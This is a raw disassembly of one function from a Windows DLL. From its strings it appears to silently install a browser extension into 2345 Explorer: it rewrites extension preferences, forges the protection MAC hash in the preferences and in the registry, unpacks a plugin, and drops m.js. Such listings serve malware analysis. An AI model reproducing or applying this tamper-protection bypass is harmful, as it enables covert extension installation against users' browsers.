mov eax, dword [0x100ee194]
add esp, 0xc
movups xmm0, xmmword [str.extensions.settings.]
mov edx, dword [ebp - 0xef0]
mov esi, edx
mov dword [ebp - 0x6c0], eax
mov al, byte [0x100ee198]
movups xmmword [ebp - 0x6d0], xmm0
mov byte [ebp - 0x6bc], al
mov al, byte [edx]
inc edx
test al, al
jne 0x1001dc24
lea edi, [ebp - 0x6d0]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1001dc34
and dword [ebp - 0xf70], 0xfffffe00
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [ebp - 0xf6c], 0
and ecx, 3
mov dword [ebp - 0xf68], 0
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0xf64], 0
mov edi, dword [ebp - 0xeec]
push 0x100edcbc
push edi
mov byte [ebp - 4], 7
call fcn.100b6560
add esp, 8
test eax, eax
je 0x1001dce7
push 0x100edcbc
push edi
call fcn.100b6560
add esp, 8
lea ecx, [ebp - 0xb08]
push eax
call fcn.10001670
mov ecx, dword [ebp - 0xf24]
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0xf00]
or eax, 2
mov dword [ebp - 0xf00], eax
mov dword [ebp - 0xee8], eax
lea eax, [ebp - 0xf78]
push 1
push eax
lea eax, [ebp - 0xb08]
push eax
call fcn.1000b8f0
mov byte [ebp - 0xee1], 1
test al, al
jne 0x1001dcee
mov byte [ebp - 0xee1], 0
mov dword [ebp - 4], 7
mov eax, dword [ebp - 0xf00]
test al, 2
je 0x1001dd39
mov edx, dword [ebp - 0xaf4]
cmp edx, 0x10
jb 0x1001dd39
mov ecx, dword [ebp - 0xb08]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001dd2f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e828
push edx
push ecx
call fcn.100b4813
add esp, 8
cmp byte [ebp - 0xee1], 0
je 0x1001e3b9
push 0x104
lea eax, [ebp - 0x7d8]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea ecx, [ebp - 0xf78]
push 0x100ee1a0
push str.path
call fcn.10015d00
lea ecx, [ebp - 0xb08]
push ecx
mov ecx, eax
call fcn.10015330
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x1001dd89
mov ecx, dword [ecx]
lea edx, [ebp - 0x7d8]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x1001dd91
mov edx, dword [ebp - 0xaf4]
cmp edx, 0x10
jb 0x1001ddd8
mov ecx, dword [ebp - 0xb08]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001ddce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e82d
push edx
push ecx
call fcn.100b4813
add esp, 8
mov eax, dword [ebp - 0xef0]
mov ecx, dword [ebp - 0xf28]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x7d8], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0x7c8], xmm0
call fcn.1001a080
push 1
lea ecx, [ebp - 0xb08]
mov dword [ebp - 0xef8], eax
call fcn.10014ec0
push 0x100ee1ba
push str.browser_action_visible
lea ecx, [ebp - 0xf78]
mov byte [ebp - 4], 0xb
call fcn.10015d00
lea ecx, [ebp - 0xb08]
mov byte [ebp - 4], 7
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xb08]
call fcn.10015080
push dword [ebp - 0xf80]
lea ecx, [ebp - 0xb08]
call fcn.10014df0
push 0x100ee090
push str.manifest
lea ecx, [ebp - 0xf78]
mov byte [ebp - 4], 0xd
call fcn.10015d00
push 0x100ee1bf
push 0x100ee1bc
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xb08]
mov byte [ebp - 4], 7
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xb08]
call fcn.10015080
lea edx, [ebp - 0x7d8]
mov byte [ebp - 0xf48], 4
or dword [ebp - 0xf48], 0x100
lea ecx, [edx + 1]
mov dword [ebp - 0xf44], 0
mov dword [ebp - 0xf40], 0
mov dword [ebp - 0xf3c], 0
mov al, byte [edx]
inc edx
test al, al
jne 0x1001ded7
sub edx, ecx
lea ecx, [ebp - 0x7d8]
call fcn.100145d0
mov dword [ebp - 0xf50], eax
push 0x100ee1a0
push str.path
lea ecx, [ebp - 0xf78]
mov byte [ebp - 4], 0x10
call fcn.10015d00
lea ecx, [ebp - 0xf50]
mov byte [ebp - 4], 7
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xf50]
call fcn.10015080
cmp dword [ebp - 0xb10], 0x10
lea eax, [ebp - 0xb24]
mov dword [ebp - 0xb14], 0
lea ecx, [ebp - 0xb28]
cmovae eax, dword [ebp - 0xb24]
mov byte [eax], 0
lea eax, [ebp - 0xf78]
push eax
call fcn.100183f0
cmp byte [ebp - 0xb0a], 0
jne 0x1001df73
push 0x100ed634
lea ecx, [ebp - 0xb24]
call fcn.100015b0
lea eax, [ebp - 0xb24]
push eax
lea ecx, [ebp - 0xb08]
call fcn.1000e910
push dword [ebp - 0xf04]
mov byte [ebp - 4], 0x11
push 0
push edi
call fcn.100b7060
mov esi, dword [ebp - 0xb08]
lea edx, [ebp - 0xb08]
add esp, 0xc
cmp dword [ebp - 0xaf4], 0x10
cmovae edx, esi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1001dfb3
sub edx, ecx
cmp dword [ebp - 0xaf4], 0x10
lea ecx, [ebp - 0xb08]
cmovae ecx, esi
lea eax, [edx - 1]
push eax
push ecx
push edi
call fcn.100b6ae0
add esp, 0xc
lea eax, [ebp - 0xbc0]
push 0x40
push 0
push eax
call fcn.100b7060
add esp, 8
lea edx, [ebp - 0xbc0]
lea ecx, [ebp - 0xee0]
call fcn.100db000
lea ecx, [ebp - 0x6d0]
add esp, 4
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001e010
sub ecx, edx
lea edx, [ebp - 0x6d0]
push ecx
lea ecx, [ebp - 0xee0]
call fcn.100dbd00
mov ecx, edi
add esp, 4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001e033
sub ecx, edx
mov edx, edi
push ecx
lea ecx, [ebp - 0xee0]
call fcn.100dbd00
add esp, 4
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0xee0]
call fcn.100dbda0
push 0x20
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0xe38]
call fcn.100dbd00
add esp, 4
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0xe38]
call fcn.100dbda0
push 0x20
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.100b6ae0
add esp, 0xc
lea edi, [ebp - 0x2b0]
xor esi, esi
nop word [eax + eax]
movzx eax, byte [ebp + esi - 0x58]
push eax
push str._02X
push edi
call fcn.100038c0
inc esi
add esp, 0xc
add edi, 2
cmp esi, 0x20
jl 0x1001e0a0
lea eax, [ebp - 0x2b0]
push eax
push str._DEBUGINFO__SETCRX__Chrome_hash___s_n
call fcn.10004450
lea edx, [ebp - 0x2b0]
mov byte [ebp - 0xf48], 4
add esp, 8
mov dword [ebp - 0xf44], 0
or dword [ebp - 0xf48], 0x100
lea ecx, [edx + 1]
mov dword [ebp - 0xf40], 0
mov dword [ebp - 0xf3c], 0
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x1001e110
sub edx, ecx
lea ecx, [ebp - 0x2b0]
call fcn.100145d0
mov dword [ebp - 0xf50], eax
push 0x100ee162
push str.protection
lea ecx, [ebp - 0xf20]
mov byte [ebp - 4], 0x14
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
mov edi, dword [ebp - 0xef0]
mov ecx, eax
push edi
call fcn.10015fd0
lea ecx, [ebp - 0xf50]
mov byte [ebp - 4], 0x11
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xf50]
call fcn.10015080
lea eax, [ebp - 0xf78]
push eax
lea ecx, [ebp - 0x50]
call fcn.10014ef0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xf20]
mov byte [ebp - 4], 0x15
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
push edi
mov ecx, eax
call fcn.10015fd0
lea ecx, [ebp - 0x50]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x50]
call fcn.10015080
mov byte [ebp - 0xf48], 0
and dword [ebp - 0xf48], 0xfffffeff
mov dword [ebp - 0xf44], 0
mov dword [ebp - 0xf40], 0
mov dword [ebp - 0xf3c], 0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xf20]
mov byte [ebp - 4], 0x17
call fcn.10015d00
push 0x100ee10b
push str.toolbar
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xf50]
mov byte [ebp - 4], 0x11
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xf50]
call fcn.10015080
push edi
lea ecx, [ebp - 0x50]
call fcn.10014df0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xf20]
mov byte [ebp - 4], 0x18
call fcn.10015d00
push 0x100ee10b
push str.toolbar
mov ecx, eax
call fcn.10015d00
mov esi, eax
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x50]
push eax
call fcn.10014ef0
mov ecx, esi
mov byte [ebp - 4], 0x19
call fcn.10015800
push eax
mov ecx, esi
call fcn.10015980
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x30]
call fcn.10015080
lea ecx, [ebp - 0x50]
call fcn.10015080
push 0
lea ecx, [ebp - 0x30]
call fcn.10014ec0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xf20]
mov byte [ebp - 4], 0x1a
call fcn.10015d00
push 0x100ee1ee
push str.policy
mov ecx, eax
call fcn.10015d00
push 0x100ee1f6
push str.switch
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x11
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x30]
call fcn.10015080
lea ecx, [ebp - 0x2b0]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001e340
sub ecx, edx
lea eax, [ebp - 0x2b0]
push ecx
push eax
push 1
push edi
push str.Software2345ExplorerPreferenceMACsDefaultextensions.settings
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov ecx, edi
call fcn.1001c3d0
push dword [ebp - 0xef8]
call fcn.100bd905
mov byte [ebp - 4], 7
add esp, 4
mov eax, dword [ebp - 0xaf4]
cmp eax, 0x10
jb 0x1001e3b9
mov ecx, dword [ebp - 0xb08]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x1001e3af
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e832
push edx
push ecx
call fcn.100b4813
add esp, 8
lea eax, [ebp - 0x5c8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0xb10], 0x10
lea eax, [ebp - 0xb24]
mov dword [ebp - 0xb14], 0
lea ecx, [ebp - 0xb28]
cmovae eax, dword [ebp - 0xb24]
mov byte [eax], 0
lea eax, [ebp - 0xf20]
push eax
call fcn.100183f0
cmp byte [ebp - 0xb0a], 0
jne 0x1001e412
push 0x100ed634
lea ecx, [ebp - 0xb24]
call fcn.100015b0
lea eax, [ebp - 0xb24]
push eax
lea ecx, [ebp - 0xb40]
call fcn.1000e910
lea eax, [ebp - 0x3b8]
mov byte [ebp - 4], 0x1b
push 0x100ee038
push eax
call fcn.100bed8c
mov esi, eax
add esp, 8
test esi, esi
je 0x1001e49c
mov edx, dword [ebp - 0xb2c]
lea ecx, [ebp - 0xb40]
mov edi, dword [ebp - 0xb40]
cmp edx, 0x10
cmovae ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0xf04], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001e463
sub ecx, dword [ebp - 0xf04]
lea eax, [ebp - 0xb40]
push esi
cmp edx, 0x10
push 1
cmovae eax, edi
push ecx
push eax
call fcn.100befdb
push esi
call fcn.100bf0a9
add esp, 0x14
push str._DEBUGINFO__SETCRX__write_json_ok_n
call fcn.10004450
add esp, 4
push 0x104
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x268]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x268]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1001e4e1
mov eax, dword [str.Extensions_]
mov dword [ecx], eax
mov eax, dword [0x100ee098]
mov dword [ecx + 4], eax
mov eax, dword [0x100ee09c]
mov dword [ecx + 8], eax
mov al, byte [0x100ee0a0]
push 0x100ee1a0
mov byte [ecx + 0xc], al
lea ecx, [ebp - 0xf78]
push str.path
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1001e655
push 0x100ee1a0
push str.path
lea ecx, [ebp - 0xf78]
call fcn.10015d00
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.10015330
mov edx, eax
cmp dword [edx + 0x14], 0x10
jb 0x1001e553
mov edx, dword [edx]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x1001e555
lea edi, [ebp - 0x268]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1001e565
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [ebp - 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp edx, 0x10
jb 0x1001e5af
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001e5a5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e837
push edx
push ecx
call fcn.100b4813
add esp, 8
lea ecx, [ebp - 0x268]
call fcn.1001a270
push 0x100ee16c
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x9e8]
push eax
call fcn.100ab670
lea eax, [ebp - 0x268]
push eax
push str._DEBUGINFO__SETCRX__un7zfile__pluginpath___s_n
call fcn.10004450
lea eax, [ebp - 0x268]
push eax
call fcn.100bd9ca
mov esi, eax
add esp, 0xc
lea edx, [esi - 1]
mov cl, byte [edx + 1]
lea edx, [edx + 1]
test cl, cl
jne 0x1001e5f7
mov eax, dword [str.m.js]
mov ecx, 0x100fbba8
push dword [ebp - 0xf84]
mov dword [edx], eax
mov ax, word [0x100ee294]
mov word [edx + 4], ax
mov eax, 0x100fbb90
cmp dword [0x100fbbbc], 0x10
mov edx, 8
cmovae ecx, dword [0x100fbba8]
cmp dword [0x100fbba4], 0x10
push ecx
cmovae eax, dword [0x100fbb90]
mov ecx, esi
push eax
push dword [ebp - 0xef0]
call fcn.10019ec0
add esp, 0x10
lea eax, [ebp - 0x9e8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str._DEBUGINFO__SETCRX__write_file_ok_n
call fcn.10004450
add esp, 4
lea eax, [ebp - 0x268]
push 0x104
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x268]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x268]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1001e6b4
mov eax, dword [str.Onlinedata]
mov dword [ecx], eax
mov eax, dword [0x100ee2c0]
mov dword [ecx + 4], eax
mov eax, dword [0x100ee2c4]
mov dword [ecx + 8], eax
lea ecx, [ebp - 0x268]
call fcn.1001a680
lea eax, [ebp - 0x268]
push eax
push str._DEBUGINFO__SETCRX__delete_pluginpath___s_n
call fcn.10004450
mov esi, dword [ebp - 0xeec]
push esi
call fcn.100bd905
mov edx, dword [ebp - 0xb2c]
add esp, 0xc
cmp edx, 0x10
jb 0x1001e73a
mov ecx, dword [ebp - 0xb40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001e730
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e83c
push edx
push ecx
call fcn.100b4813
add esp, 8
lea ecx, [ebp - 0xf78]
mov dword [ebp - 0xb30], 0
mov dword [ebp - 0xb2c], 0xf
mov byte [ebp - 0xb40], 0
call fcn.10015080
push dword [ebp - 0xf28]
call fcn.100bd905
add esp, 4
push dword [ebp - 0xf54]
call fcn.100bd905
add esp, 4
push dword [ebp - 0xef0]
call fcn.100bd905
add esp, 4
push dword [ebp - 0xf80]
call fcn.100bd905
add esp, 4
push dword [ebp - 0xf7c]
call fcn.100bd905
add esp, 4
lea ecx, [ebp - 0xf34]
mov esi, 1
call fcn.1000a810
mov edi, dword [ebp - 0xf24]
jmp 0x1001e7c0
xor esi, esi
test edi, edi
je 0x1001e7d6
mov ecx, edi
call fcn.1000a490
push 0x74
push edi
call fcn.100b4813
add esp, 8
lea ecx, [ebp - 0xb28]
call fcn.10017a80
lea ecx, [ebp - 0xf20]
call fcn.10015080
push dword [ebp - 0xef4]
call fcn.100bd905
add esp, 4
jmp 0x1001e803
xor esi, esi
jmp 0x1001e803
or esi, 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100b47d2
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
int3